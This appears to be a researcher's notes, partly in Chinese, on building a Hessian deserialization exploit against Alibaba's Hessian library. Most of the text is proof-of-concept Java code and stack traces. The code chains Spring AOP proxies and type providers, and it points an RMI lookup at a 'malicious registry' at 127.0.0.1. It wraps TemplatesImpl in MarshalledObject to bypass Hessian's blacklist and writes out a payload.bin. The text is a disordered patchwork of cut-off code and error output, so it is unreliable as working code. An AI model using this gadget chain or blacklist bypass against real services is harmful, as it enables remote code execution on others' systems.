public class Poc { public static void deser() throws Exception{
Hessian2Input input = new Hessian2Input(new FileInputStream("payload.bin")); input.getSerializerFactory().setAllowNonSerializable(true); Object o = input.readObject();
} public static void main(String[] args) throws Exception{
deser();
} public static void ser() throws Exception { System.out.println("Creating POC...");
// 1. Create RmiClientInterceptor RmiClientInterceptor rmiInterceptor = new RmiClientInterceptor(); rmiInterceptor.setServiceUrl("rmi://127.0.0.1:1099/evil"); // Point to our malicious registry rmiInterceptor.setServiceInterface(Comparable.class); // Must act as Comparable
// Note: we don't call afterPropertiesSet(), so lookup happens lazily on invoke
// 2. Create AdvisedSupport and add the interceptor AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(new SingletonTargetSource(new Object())); // Dummy target advisedSupport.addAdvice(rmiInterceptor); advisedSupport.setInterfaces(Comparable.class);
// 3. Create JdkDynamicAopProxy // JdkDynamicAopProxy is package-private/final in some versions, but public in others. // We might need to use reflection to instantiate it if it's not accessible. // Assuming we are in the same package or it's public. // Wait, JdkDynamicAopProxy in the source I read is "final class JdkDynamicAopProxy". // It is package-private (no public modifier). // So I cannot instantiate it directly from default package Poc. // I need to use reflection to create it.
Exception in thread “main” java.lang.NullPointerException at org.springframework.aop.framework.AdvisedSupport.getInterceptorsAndDynamicInterceptionAdvice(AdvisedSupport.java:468) at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:225) at org.example.labyrinth.model.CustomProxy.compareTo(CustomProxy.java:25) at java.util.TreeMap.compare(TreeMap.java:1294) at java.util.TreeMap.put(TreeMap.java:538) at com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap(MapDeserializer.java:143) at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:124) at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:96) at com.alibaba.com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:621) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2851) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2419) at org.example.Poc.deser(Poc.java:21) at org.example.Poc.main(Poc.java:27)
// 2. Wrap TemplatesImpl in MarshalledObject to bypass Hessian blacklist MarshalledObject<Object> marshalledObject = new MarshalledObject<>(templates);
// 3. Create MethodInvokeTypeProvider chain to call marshalledObject.get().newTransformer() // We need a TypeProvider that returns the MarshalledObject. // We can use MethodInvokeTypeProvider to call a static method (if possible) or instance method. // Since we can't easily create a TypeProvider that returns MarshalledObject directly (FieldTypeProvider needs field), // we will use a chain. // Actually, for MethodInvokeTypeProvider to work, we need a method that returns Type. // MarshalledObject.get() returns Object. This might fail validation on server. // BUT assuming we want to try it (maybe validation is missing or bypassed).
// Step 3a: Create a TypeProvider that holds the MarshalledObject. // We can use a Mock TypeProvider or proxy. // Or we can use MethodInvokeTypeProvider calling a method that returns MarshalledObject? // Let's use Reflection to create the MethodInvokeTypeProvider instance Class<?> mitpClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Constructor<?> mitpCtor = mitpClass.getDeclaredConstructor(typeProviderClass, Method.class, int.class); mitpCtor.setAccessible(true); // We need a base TypeProvider. // We can create a proxy for TypeProvider interface. Object baseProvider = Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, new InvocationHandler() { public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().equals("getType")) { return marshalledObject; // This is WRONG. getType returns Type. MarshalledObject is not Type. // But wait, MethodInvokeTypeProvider.getType() calls invokeMethod(method, provider.getType()). // So provider.getType() is the TARGET object for the method call. // So if we return marshalledObject here, it will be the target. } return null; } } ); // Step 3b: Call marshalledObject.get() // method: MarshalledObject.get() Method getMethod = MarshalledObject.class.getMethod("get"); Object mitp1 = mitpCtor.newInstance(baseProvider, getMethod, 0); // mitp1.getType() -> invokes marshalledObject.get() -> returns TemplatesImpl. // Step 3c: Call templates.newTransformer() // method: Templates.newTransformer() Method newTransformerMethod = Templates.class.getMethod("newTransformer"); Object mitp2 = mitpCtor.newInstance(mitp1, newTransformerMethod, 0); // mitp2.getType() -> invokes mitp1.getType().newTransformer() -> templates.newTransformer(). // 4. Wrap mitp2 in POJONode // POJONode.toString() -> Jackson -> calls getters on mitp2. // mitp2 has getType(). Jackson calls it. POJONode node = new POJONode(mitp2);
/* Caused by: java.lang.UnsupportedOperationException: ObjectDeserializer[interface org.springframework.core.SerializableTypeWrapper$TypeProvider] at com.alibaba.com.caucho.hessian.io.ObjectDeserializer.readObject(ObjectDeserializer.java:76) at com.alibaba.com.caucho.hessian.io.AbstractDeserializer.readObject(AbstractDeserializer.java:127) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObjectInstance(Hessian2Input.java:2956) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2289) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2262) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218) at com.alibaba.com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer.deserialize(FieldDeserializer2FactoryUnsafe.java:213) */
public class Poc { public static void main(String[] args) throws Exception { System.out.println("Generating payload...");
CustomProxy customProxy = new CustomProxy(finalHandler, compareToMethod); // 6. Put in TreeMap TreeMap<Object, Object> treeMap = new TreeMap<>(); treeMap.put("http://127.0.0.1:8989", "foo");
// Serialize ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(baos); out.getSerializerFactory().setAllowNonSerializable(true); out.writeObject(treeMap); out.flush(); byte[] payload = baos.toByteArray(); // Save to file File file = new File("payload.bin"); FileOutputStream fos = new FileOutputStream(file); fos.write(payload); fos.close(); System.out.println("Payload generated to " + file.getAbsolutePath()); } public static void replaceKey(Object entry, Object targetKey, Object newKey) throws Exception { if (entry == null) return; Field keyField = entry.getClass().getDeclaredField("key"); keyField.setAccessible(true); Object key = keyField.get(entry); if (key != null && key.equals(targetKey)) { keyField.set(entry, newKey); return; } Field leftField = entry.getClass().getDeclaredField("left"); leftField.setAccessible(true); replaceKey(leftField.get(entry), targetKey, newKey); Field rightField = entry.getClass().getDeclaredField("right"); rightField.setAccessible(true); replaceKey(rightField.get(entry), targetKey, newKey); } }
正向触发时的调用栈,是可以的。
有个关键点:
CustomProxy 的 m3 这个Method,是可以通过反射修改 name 绕过的,调用的实际上还是 getURL。
可以成功调用到 ResourceUtils#getURL,且参数也是可控的。
然后我来试试反序列化能不能正常触发,结果遇到问题了,报错栈如下:
十二月 21, 2025 11:03:23 下午 com.alibaba.com.caucho.hessian.io.SerializerFactory getDeserializer 警告: Hessian/Burlap: ‘org.springframework.core.$Proxy0’ is an unknown class in sun.misc.Launcher$AppClassLoader@18b4aac2: java.lang.ClassNotFoundException: org.springframework.core.$Proxy0 com.alibaba.com.caucho.hessian.io.HessianFieldException: org.springframework.core.SerializableTypeWrapper$TypeProxyInvocationHandler.provider: org.springframework.core.SerializableTypeWrapper$TypeProvider cannot be assigned from null at com.alibaba.com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe.logDeserializeError(FieldDeserializer2FactoryUnsafe.java:120) at com.alibaba.com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer.deserialize(FieldDeserializer2FactoryUnsafe.java:217) at com.alibaba.com.caucho.hessian.io.UnsafeDeserializer.readObject(UnsafeDeserializer.java:298) at com.alibaba.com.caucho.hessian.io.UnsafeDeserializer.readObject(UnsafeDeserializer.java:203) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObjectInstance(Hessian2Input.java:2956) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2289) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2262) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218) at com.alibaba.com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer.deserialize(FieldDeserializer2FactoryUnsafe.java:213) at com.alibaba.com.caucho.hessian.io.UnsafeDeserializer.readObject(UnsafeDeserializer.java:271) at com.alibaba.com.caucho.hessian.io.UnsafeDeserializer.readObject(UnsafeDeserializer.java:186) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObjectInstance(Hessian2Input.java:2958) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2884) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2419) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2857) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2419) at com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap(MapDeserializer.java:143) at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:124) at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:96) at com.alibaba.com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:621) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2851) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2419) at org.example.Hessian2Main.deserialize(Hessian2Main.java:33) at org.example.b.Test.deser(Test.java:30) at org.example.b.Test.main(Test.java:26) Caused by: java.lang.UnsupportedOperationException: ObjectDeserializer[interface org.springframework.core.SerializableTypeWrapper$TypeProvider] at com.alibaba.com.caucho.hessian.io.ObjectDeserializer.readObject(ObjectDeserializer.java:76) at com.alibaba.com.caucho.hessian.io.AbstractDeserializer.readObject(AbstractDeserializer.java:127) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObjectInstance(Hessian2Input.java:2956) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2289) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2262) at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218) at com.alibaba.com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer.deserialize(FieldDeserializer2FactoryUnsafe.java:213) … 24 more